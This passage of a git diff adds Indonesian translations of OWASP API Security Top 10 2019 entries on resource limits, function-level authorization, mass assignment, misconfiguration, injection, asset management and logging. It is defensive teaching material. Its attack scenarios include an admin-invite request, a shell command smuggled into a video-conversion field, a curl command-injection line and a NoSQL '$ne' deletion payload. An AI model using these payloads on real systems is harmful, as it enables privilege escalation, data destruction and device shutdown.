API sederhana. Tidak ada otentikasi yang diperlukan. Beberapa permintaan secara bersamaan dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. | Umum ditemukan API yang tidak menerapkan pembatasan laju atau API di mana batas tidak ditetapkan dengan benar. | Eksploitasi dapat mengarah ke DoS, membuat API tidak responsif atau bahkan tidak tersedia. | + +## Apakah API Rentan? + +Permintaan API mengonsumsi sumber daya seperti jaringan, CPU, memori, dan penyimpanan. Jumlah sumber daya yang diperlukan untuk memenuhi permintaan sangat bergantung pada input pengguna dan logika bisnis endpoint. Juga, pertimbangkan fakta bahwa permintaan dari beberapa klien API bersaing untuk sumber daya. API rentan jika setidaknya satu dari batasan berikut hilang atau disetel secara tidak tepat (misalnya, terlalu rendah/tinggi): + +* Batas waktu eksekusi +* Memori maksimum yang dapat dialokasikan +* Jumlah deskriptor berkas +* Jumlah proses +* Ukuran muatan permintaan (misalnya, unggahan) +* Jumlah permintaan per klien/sumber daya +* Jumlah catatan per halaman untuk dikembalikan dalam satu respons permintaan + +## Skenario Serangan Contoh + +### Skenario #1 + +Seorang penyerang mengunggah gambar besar dengan menerbitkan permintaan POST ke `/api/v1/images`. Saat unggahan selesai, API membuat beberapa thumbnail dengan ukuran yang berbeda. Karena ukuran gambar yang diunggah, memori yang tersedia habis selama pembuatan thumbnail dan API menjadi tidak responsif. + +### Skenario #2 + +Kami memiliki aplikasi yang berisi daftar pengguna di UI dengan batas `200` pengguna per halaman. Daftar pengguna diambil dari server menggunakan kueri berikut: `/api/users?page=1&size=200`. Seorang penyerang mengubah parameter `size` menjadi `200.000`, menyebabkan masalah kinerja pada basis data. Sementara itu, API menjadi tidak responsif dan tidak dapat menangani permintaan lebih lanjut dari klien ini atau klien lainnya (alias DoS). + +Skenario yang sama dapat digunakan untuk memancing kesalahan Integer Overflow atau Buffer Overflow. + +## Cara Mencegah + +* Docker memudahkan untuk membatasi [memori][1], [CPU][2], [jumlah restart][3], [deskriptor berkas, dan proses][4]. +* Terapkan batas seberapa sering klien dapat memanggil API dalam rentang waktu tertentu. +* Beri tahu klien saat batas terlampaui dengan menyediakan nomor batas dan waktu saat batas akan direset. +* Tambahkan validasi server-side yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons. +* Tentukan dan tegakkan ukuran maksimum data pada semua parameter dan muatan masukan seperti panjang maksimum untuk string dan jumlah elemen maksimum dalam array. + + +## Referensi + +### OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### Eksternal + +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* “_Rate Limiting (Throttling)_” - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf \ No newline at end of file diff --git a/editions/2019/id/0xa5-broken-function-level-authorization.md b/editions/2019/id/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..77830cacd --- /dev/null +++ b/editions/2019/id/0xa5-broken-function-level-authorization.md @@ -0,0 +1,64 @@ +# API5:2019 Otorisasi Tingkat Fungsi yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **1** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi membutuhkan penyerang untuk mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak mereka akses. Endpoint ini mungkin terbuka untuk pengguna anonim atau pengguna reguler non-istimewa. Lebih mudah menemukan celah ini di API karena API lebih terstruktur, dan cara mengakses fungsi tertentu lebih dapat diprediksi (misalnya, mengganti metode HTTP dari GET ke PUT, atau mengubah string “users” di URL menjadi "admins"). | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi, dan terkadang di tingkat kode. Mengimplementasikan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan, karena aplikasi modern dapat berisi banyak jenis peran atau kelompok dan hirarki pengguna yang kompleks (misalnya, sub-pengguna, pengguna dengan lebih dari satu peran). | Celah seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini. | + +## Apakah API Rentan? + +Cara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam terhadap mekanisme otorisasi, dengan mempertimbangkan hirarki pengguna, peran atau kelompok yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut: + +* Apakah pengguna reguler dapat mengakses endpoint administratif? +* Apakah pengguna dapat melakukan tindakan sensitif (misalnya, pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak mereka akses dengan hanya mengubah metode HTTP (misalnya, dari `GET` ke `DELETE`)? +* Apakah pengguna dari kelompok X dapat mengakses fungsi yang seharusnya hanya diekspos ke pengguna dari kelompok Y, dengan hanya menebak URL dan parameter endpoint (misalnya, `/api/v1/users/export_all`)? + +Jangan menganggap endpoint API adalah reguler atau administratif hanya berdasarkan jalur URL. + +Meskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di bawah jalur relatif tertentu, seperti `api/admins`, sangat umum menemukan endpoint administratif ini di bawah jalur relatif lain bersama dengan endpoint reguler, seperti `api/users`. + +## Skenario Serangan Contoh + +### Skenario #1 + +Selama proses pendaftaran ke aplikasi yang hanya mengizinkan pengguna diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi JSON dengan rincian undangan, termasuk peran pengguna dan email pengguna. + +Seorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin, yang tidak menerapkan pemeriksaan otorisasi tingkat fungsi. + +Penyerang mengeksploitasi masalah ini dan mengirim undangan ke dirinya sendiri untuk membuat akun admin: + +``` +POST /api/invites/new + +{“email”:”hugo@malicious.com”,”role”:”admin”} +``` + +### Skenario #2 + +Sebuah API berisi endpoint yang seharusnya hanya diekspos ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan rincian semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API membuat tebakan terdidik dan berhasil mengakses endpoint ini, yang mengekspos rincian sensitif pengguna aplikasi. + +## Cara Mencegah + +Aplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan tersebut disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi. + +* Mekanisme penegakan harus menolak semua akses secara default, membutuhkan izin eksplisit ke peran tertentu untuk mengakses setiap fungsi. +* Tinjau endpoint API Anda terhadap celah otorisasi tingkat fungsi, dengan mempertimbangkan logika bisnis aplikasi dan hirarki kelompok. +* Pastikan semua pengendali administrasi Anda mewarisi pengendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna. +* Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna. + +## Referensi + +### OWASP + +* [Artikel OWASP tentang Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Bab tentang Otorisasi][3] + +### Eksternal + +* [CWE-285: Otorisasi yang Tidak Tepat][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html \ No newline at end of file diff --git a/editions/2019/id/0xa6-mass-assignment.md b/editions/2019/id/0xa6-mass-assignment.md new file mode 100644 index 000000000..99ffb848e --- /dev/null +++ b/editions/2019/id/0xa6-mass-assignment.md @@ -0,0 +1,63 @@ +# API6:2019 - Mass Assignment + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi biasanya memerlukan pemahaman tentang logika bisnis, hubungan objek, dan struktur API. Eksploitasi penugasan massal lebih mudah dalam API, karena secara desain mereka mengekspos implementasi aplikasi yang mendasari beserta nama properti. | Kerangka kerja modern mendorong pengembang untuk menggunakan fungsi yang secara otomatis mengikat masukan dari klien ke dalam variabel kode dan objek internal. Penyerang dapat menggunakan metodologi ini untuk memperbarui atau menimpa properti objek sensitif yang sebenarnya tidak dimaksudkan untuk diekspos oleh pengembang. | Eksploitasi dapat menyebabkan eskalasi hak istimewa, perusakan data, menghindari mekanisme keamanan, dan lainnya. | + +## Apakah API Rentan? + +Objek dalam aplikasi modern mungkin berisi banyak properti. Beberapa properti ini harus diperbarui langsung oleh klien (misalnya, `user.first_name` atau `user.address`) dan beberapa tidak boleh (misalnya, flag `user.is_vip`). + +Titik akhir API rentan jika secara otomatis mengubah parameter klien menjadi properti objek internal, tanpa mempertimbangkan sensitivitas dan tingkat paparan properti tersebut. Hal ini bisa memungkinkan penyerang untuk memperbarui properti objek yang seharusnya tidak mereka akses. + +Contoh properti sensitif: + +* **Properti terkait izin**: `user.is_admin`, `user.is_vip` hanya boleh diatur oleh admin. +* **Properti tergantung proses**: `user.cash` hanya boleh diatur secara internal setelah verifikasi pembayaran. +* **Properti internal**: `article.created_time` hanya boleh diatur secara internal oleh aplikasi. + +## Skenario Serangan Contoh + +### Skenario #1 + +Aplikasi berbagi tumpangan memberi pengguna opsi untuk mengedit informasi dasar untuk profil mereka. Selama proses ini, panggilan API dikirim ke `PUT /api/v1/users/me` dengan objek JSON yang sah: + +```json +{"user_name":"inons","age":24} +``` + +Permintaan `GET /api/v1/users/me` menyertakan properti credit_balance tambahan: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +Penyerang memutar ulang permintaan pertama dengan payload berikut: + +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +Karena endpoint rentan terhadap penugasan massal, penyerang menerima kredit tanpa membayar. + +### Skenario #2 + +Portal berbagi video memungkinkan pengguna mengunggah konten dan mengunduh konten dalam format yang berbeda. Seorang penyerang yang menjelajahi API menemukan bahwa endpoint `GET /api/v1/videos/{video_id}/meta_data` mengembalikan objek JSON dengan properti video. Salah satu propertinya adalah `"mp4_conversion_params":"-v codec h264"` yang menunjukkan bahwa aplikasi menggunakan perintah shell untuk mengubah video. + +Penyerang juga menemukan endpoint `POST /api/v1/videos/new` rentan terhadap penugasan massal dan memungkinkan klien mengatur properti apa pun dari objek video. Penyerang menetapkan nilai berbahaya sebagai berikut: `"mp4_conversion_params":"-v codec h264 && format C:/"`. Nilai ini akan menyebabkan injeksi perintah shell setelah penyerang mengunduh video sebagai MP4. + +## Cara Mencegah + +* Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat masukan klien ke dalam variabel kode atau objek internal. +* Daftar putih hanya properti yang seharusnya diperbarui oleh klien. +* Gunakan fitur bawaan untuk daftar hitam properti yang tidak boleh diakses oleh klien. +* Jika berlaku, tentukan dan tegakkan secara eksplisit skema untuk muatan data masukan. + +## Referensi + +### Eksternal + +* [CWE-915: Pengontrolan yang Tidak Tepat dari Modifikasi Atribut Objek yang Ditentukan Secara Dinamis][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html \ No newline at end of file diff --git a/editions/2019/id/0xa7-security-misconfiguration.md b/editions/2019/id/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..2dd28665b --- /dev/null +++ b/editions/2019/id/0xa7-security-misconfiguration.md @@ -0,0 +1,80 @@ +# API7:2019 Kesalahan Konfigurasi Keamanan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis | +| Penyerang sering mencoba menemukan celah yang tidak diperbarui, endpoint umum, atau file dan direktori yang tidak dilindungi untuk mendapatkan akses yang tidak sah atau pengetahuan tentang sistem. | Kesalahan konfigurasi keamanan dapat terjadi pada setiap level tumpukan API, dari level jaringan hingga level aplikasi. Alat otomatis tersedia untuk mendeteksi dan memanfaatkan kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya dapat mengekspos data pengguna yang sensitif, tetapi juga rincian sistem yang dapat mengarah ke kompromi server penuh. | + +## Apakah API Rentan? + +API mungkin rentan jika: + +* Pengerasan keamanan yang tepat hilang di bagian mana pun dari tumpukan aplikasi, atau jika memiliki izin yang dikonfigurasi dengan salah pada layanan cloud. +* Perbaikan keamanan terbaru hilang, atau sistemnya sudah ketinggalan zaman. +* Fitur yang tidak perlu diaktifkan (misalnya, kata kerja HTTP). +* Keamanan Lapisan Transport (TLS) hilang. +* Direktif keamanan tidak dikirim ke klien (misalnya, [Security Headers][1]). +* Kebijakan Berbagi Sumber Daya Lintas Asal (CORS) hilang atau disetel dengan salah. +* Pesan kesalahan termasuk jejak tumpukan, atau informasi sensitif lainnya terekspos. + +## Skenario Serangan Contoh + +### Skenario #1 + +Seorang penyerang menemukan file `.bash_history` di bawah direktori root server, yang berisi perintah yang digunakan oleh tim DevOps untuk mengakses API: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` + +Penyerang juga bisa menemukan endpoint baru pada API yang hanya digunakan oleh tim DevOps dan tidak didokumentasikan. + +### Skenario #2 + +Untuk menargetkan layanan tertentu, seorang penyerang menggunakan mesin pencari populer untuk mencari komputer yang dapat diakses langsung dari Internet. Penyerang menemukan host yang menjalankan sistem manajemen basis data populer, mendengarkan di port default. Host tersebut menggunakan konfigurasi default, yang secara default menonaktifkan otentikasi, dan penyerang mendapatkan akses ke jutaan catatan dengan PII, preferensi pribadi, dan data otentikasi. + +### Skenario #3 + +Memeriksa lalu lintas aplikasi seluler, penyerang mengetahui bahwa tidak semua lalu lintas HTTP dilakukan pada protokol aman (misalnya, TLS). Penyerang menemukan ini benar, khususnya untuk mengunduh gambar profil. Karena interaksi pengguna bersifat biner, meskipun lalu lintas API dilakukan pada protokol yang aman, penyerang menemukan pola pada ukuran respons API, yang dia gunakan untuk melacak preferensi pengguna atas konten yang dirender (misalnya, gambar profil). + +## Cara Mencegah + +Siklus hidup API harus mencakup: + +* Proses pengerasan yang dapat diulang yang mengarah ke penyebaran yang cepat dan mudah dari lingkungan yang dikunci dengan benar. +* Tugas untuk meninjau dan memperbarui konfigurasi di seluruh tumpukan API. Tinjauan harus mencakup: file orchestrasi, komponen API, dan layanan cloud (misalnya, izin bucket S3). +* Saluran komunikasi yang aman untuk semua interaksi akses API ke aset statis (misalnya, gambar). +* Proses otomatis untuk secara kontinu menilai efektivitas konfigurasi dan pengaturan di semua lingkungan. + +Selanjutnya: + +* Untuk mencegah jejak pengecualian dan informasi berharga lainnya dikirim kembali ke penyerang, jika berlaku, tentukan dan tegakkan semua skema muatan respons API termasuk respons kesalahan. +* Pastikan API hanya dapat diakses oleh kata kerja HTTP yang ditentukan. Semua kata kerja HTTP lainnya harus dinonaktifkan (misalnya, `HEAD`). +* API yang diharapkan dapat diakses dari klien berbasis browser (misalnya, front-end WebApp) harus menerapkan kebijakan Berbagi Sumber Daya Lintas Asal (CORS) yang tepat. + +## Referensi + +### OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### Eksternal + +* [CWE-2: Kelemahan Keamanan Lingkungan][4] +* [CWE-16: Konfigurasi][5] +* [CWE-388: Penanganan Kesalahan][6] +* [Panduan Keamanan Server Umum][7], NIST +* [Let’s Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) \ No newline at end of file diff --git a/editions/2019/id/0xa8-injection.md b/editions/2019/id/0xa8-injection.md new file mode 100644 index 000000000..09d232c53 --- /dev/null +++ b/editions/2019/id/0xa8-injection.md @@ -0,0 +1,88 @@ +# API8:2019 Injeksi + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **3** | Teknis **3** : Spesifik Bisnis | +| Penyerang akan memberi makan API dengan data berbahaya melalui vektor injeksi apa pun yang tersedia (misalnya, input langsung, parameter, layanan terintegrasi, dll.), berharap itu dikirim ke interpreter. | Celah injeksi sangat umum dan sering ditemukan dalam kueri SQL, LDAP, atau NoSQL, perintah OS, parser XML, dan ORM. Celah ini mudah ditemukan saat meninjau kode sumber. Penyerang dapat menggunakan scanner dan fuzzer. | Injeksi dapat menyebabkan pengungkapan informasi dan kehilangan data. Itu juga dapat menyebabkan DoS, atau pengambilalihan host secara total. | + +## Apakah API Rentan? + +API rentan terhadap celah injeksi jika: + +* Data yang disediakan klien tidak divalidasi, difilter, atau disucihamakan oleh API. +* Data yang disediakan klien digunakan langsung atau digabungkan ke kueri SQL/NoSQL/LDAP, perintah OS, parser XML, dan Pemetaan Objek Relasional (ORM)/Pemetaan Dokumen Objek (ODM). +* Data yang berasal dari sistem eksternal (misalnya, sistem terintegrasi) tidak divalidasi, difilter, atau disucihamakan oleh API. + +## Skenario Serangan Contoh + +### Skenario #1 + +Firmware dari perangkat kontrol orang tua menyediakan endpoint `/api/CONFIG/restore` yang mengharapkan appId dikirim sebagai parameter multipart. Menggunakan dekompiler, seorang penyerang mengetahui bahwa appId dilewatkan langsung ke panggilan sistem tanpa pembersihan apa pun: + +```c +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +Perintah berikut memungkinkan penyerang mematikan perangkat mana pun dengan firmware yang sama yang rentan: + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### Skenario #2 + +Kami memiliki aplikasi dengan fungsionalitas CRUD dasar untuk operasi dengan pemesanan. Seorang penyerang berhasil mengidentifikasi bahwa injeksi NoSQL mungkin dimungkinkan melalui parameter string kueri `bookingId` dalam permintaan penghapusan pemesanan. Beginilah permintaannya: `DELETE /api/bookings?bookingId=678`. + +Server API menggunakan fungsi berikut untuk menangani permintaan penghapusan: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` + +Penyerang menyadap permintaan dan mengubah parameter string kueri `bookingId` seperti di bawah ini. Dalam hal ini, penyerang berhasil menghapus pemesanan pengguna lain: + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## Cara Mencegah + +Mencegah injeksi memerlukan pemisahan data dari perintah dan kueri. + +* Lakukan validasi data menggunakan satu pustaka yang tepercaya dan dikelola secara aktif. +* Validasi, filter, dan sucikan semua data yang disediakan klien, atau data lainnya yang berasal dari sistem terintegrasi. +* Karakter khusus harus dilepas menggunakan sintaks spesifik untuk interpreter tujuan. +* Lebih baik menggunakan API yang aman yang menyediakan antarmuka terparameter. +* Selalu batasi jumlah catatan yang dikembalikan untuk mencegah pengungkapan massal jika terjadi injeksi. +* Validasi data masuk menggunakan filter yang cukup untuk hanya mengizinkan nilai yang valid untuk setiap parameter input. +* Tentukan jenis data dan pola ketat untuk semua parameter string. + +## Referensi + +### OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### Eksternal + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html \ No newline at end of file diff --git a/editions/2019/id/0xa9-improper-assets-management.md b/editions/2019/id/0xa9-improper-assets-management.md new file mode 100644 index 000000000..ad0ac8f0a --- /dev/null +++ b/editions/2019/id/0xa9-improper-assets-management.md @@ -0,0 +1,53 @@ +# API9:2019 Pengelolaan Aset yang Tidak Tepat + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Versi API lama biasanya tidak diperbarui dan merupakan cara mudah untuk mengkompromikan sistem tanpa harus melawan mekanisme keamanan mutakhir, yang mungkin ada untuk melindungi versi API terbaru. | Dokumentasi yang sudah ketinggalan zaman membuatnya lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Kurangnya inventarisasi aset dan strategi pensiun menyebabkan menjalankan sistem yang tidak diperbarui, yang mengakibatkan kebocoran data sensitif. Umum ditemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikroservis, yang memudahkan aplikasi untuk diterapkan dan independen (misalnya, komputasi cloud, k8s). | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server melalui versi API lama yang tidak diperbarui yang terhubung ke basis data yang sama. | + +## Apakah API Rentan? + +API mungkin rentan jika: + +* Tujuan dari host API tidak jelas, dan tidak ada jawaban eksplisit untuk pertanyaan berikut: + * Lingkungan apa API berjalan (misalnya, produksi, staging, pengujian, pengembangan)? + * Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)? + * Versi API apa yang berjalan? + * Data apa yang dikumpulkan dan diproses oleh API (misalnya, PII)? + * Bagaimana aliran datanya? +* Tidak ada dokumentasi, atau dokumentasi yang ada tidak diperbarui. +* Tidak ada rencana pensiun untuk setiap versi API. +* Inventarisasi host hilang atau ketinggalan zaman. +* Inventarisasi layanan terintegrasi, baik pihak pertama maupun ketiga, hilang atau ketinggalan zaman. +* Versi API lama atau sebelumnya berjalan tanpa patch. + +## Skenario Serangan Contoh + +### Skenario #1 + +Setelah merancang ulang aplikasi mereka, layanan pencarian lokal meninggalkan versi API lama (`api.someservice.com/v1`) berjalan, tidak dilindungi, dan dengan akses ke basis data pengguna. Saat menargetkan salah satu aplikasi rilis terbaru, seorang penyerang menemukan alamat API (`api.someservice.com/v2`). Mengganti `v2` dengan `v1` di URL memberi penyerang akses ke API lama, tidak dilindungi, yang memaparkan informasi identifikasi pribadi (PII) lebih dari 100 juta pengguna. + +### Skenario #2 + +Sebuah jaringan sosial menerapkan mekanisme pembatasan laju yang memblokir penyerang dari menggunakan brute-force untuk menebak token reset kata sandi. Mekanisme ini tidak diimplementasikan sebagai bagian dari kode API itu sendiri, tetapi dalam komponen terpisah antara klien dan API resmi (`www.socialnetwork.com`). Seorang peneliti menemukan host API beta (`www.mbasic.beta.socialnetwork.com`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, tetapi mekanisme pembatasan laju tidak diterapkan. Peneliti dapat mereset kata sandi pengguna mana pun dengan menggunakan brute-force sederhana untuk menebak token 6 digit. + +## Cara Mencegah + +* Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing, berfokus pada lingkungan API (misalnya, produksi, staging, pengujian, pengembangan), siapa yang seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API. +* Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya. +* Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, kebijakan berbagi sumber daya lintas asal (CORS) dan endpoint, termasuk parameter, permintaan, dan respons mereka. +* Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam pipeline CI/CD Anda. +* Buat dokumentasi API tersedia untuk mereka yang berwenang menggunakan API. +* Gunakan langkah-langkah perlindungan eksternal seperti firewall keamanan API untuk semua versi terekspos API Anda, bukan hanya untuk versi produksi saat ini. +* Hindari menggunakan data produksi dengan penerapan API non-produksi. Jika ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan produksi. +* Ketika versi API yang lebih baru mencakup peningkatan keamanan, lakukan analisis risiko untuk membuat keputusan tindakan mitigasi yang diperlukan untuk versi yang lebih tua: misalnya, apakah mungkin menerapkan peningkatan tanpa merusak kompatibilitas API atau Anda perlu menarik versi yang lebih tua dengan cepat dan memaksa semua klien beralih ke versi terbaru. + +## Referensi + +### Eksternal + +* [CWE-1059: Dokumentasi yang Tidak Lengkap][1] +* [Inisiatif OpenAPI][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/id/0xaa-insufficient-logging-monitoring.md b/editions/2019/id/0xaa-insufficient-logging-monitoring.md new file mode 100644 index 000000000..f8a24253c --- /dev/null +++ b/editions/2019/id/0xaa-insufficient-logging-monitoring.md @@ -0,0 +1,56 @@ +# API10:2019 Pencatatan & Pemantauan yang Tidak Memadai + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **1** | Teknis **2** : Spesifik Bisnis | +| Penyerang memanfaatkan kurangnya pencatatan dan pemantauan untuk menyalahgunakan sistem tanpa disadari. | Tanpa pencatatan dan pemantauan, atau dengan pencatatan dan pemantauan yang tidak memadai, hampir mustahil untuk melacak kegiatan mencurigakan dan menanggapinya tepat waktu. | Tanpa visibilitas atas kegiatan berbahaya yang sedang berlangsung, penyerang memiliki banyak waktu untuk sepenuhnya mengkompromikan sistem. | + +## Apakah API Rentan? + +API rentan jika: + +* Tidak menghasilkan log apa pun, level pencatatan tidak disetel dengan benar, atau pesan log tidak menyertakan detail yang cukup. +* Integritas log tidak dijamin (misalnya, [Log Injection][1]). +* Log tidak dipantau secara terus menerus. +* Infrastruktur API tidak dipantau secara terus menerus. + +## Skenario Serangan Contoh + +### Skenario #1 + +Kunci akses administratif API bocor di repositori publik. Pemilik repositori diberi tahu melalui email tentang kebocoran potensial, tetapi membutuhkan waktu lebih dari 48 jam untuk menindaklanjuti insiden, dan paparan kunci akses mungkin telah mengizinkan akses ke data sensitif. Karena pencatatan yang tidak memadai, perusahaan tidak dapat menilai data apa yang diakses oleh aktor berbahaya. + +### Skenario #2 + +Platform berbagi video terkena serangan "skala besar" stuffing kredensial. Meskipun login gagal dicatat, tidak ada peringatan yang dipicu selama rentang waktu serangan. Sebagai reaksi atas keluhan pengguna, log API dianalisis dan serangan terdeteksi. Perusahaan harus membuat pengumuman publik yang meminta pengguna mereset kata sandi mereka, dan melaporkan insiden kepada otoritas peraturan. + +## Cara Mencegah + +* Catat semua upaya otentikasi gagal, akses yang ditolak, dan kesalahan validasi input. +* Log harus ditulis menggunakan format yang sesuai untuk dikonsumsi oleh solusi manajemen log, dan harus mencakup detail yang cukup untuk mengidentifikasi pelaku jahat. +* Log harus ditangani sebagai data sensitif, dan integritasnya harus dijamin saat diam dan dalam transit. +* Konfigurasikan sistem pemantauan untuk secara terus menerus memantau infrastruktur, jaringan, dan fungsi API. +* Gunakan sistem Manajemen Informasi dan Keamanan (SIEM) untuk menggabungkan dan mengelola log dari semua komponen tumpukan API dan host. +* Konfigurasikan dashboard dan peringatan kustom, memungkinkan kegiatan mencurigakan terdeteksi dan direspon lebih awal. + +## Referensi + + +### OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging and Intrusion Detection][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and + Logging Verification Requirements][4] + +### Eksternal + +* [CWE-223: Omission of Security-relevant Information][5] +* [CWE-778: Insufficient Logging][6] + +[1]: https://www.owasp.org/index.php/Log_Injection +[2]: https://www.owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://www.owasp.org/index.php/OWASP_Proactive_Controls +[4]: 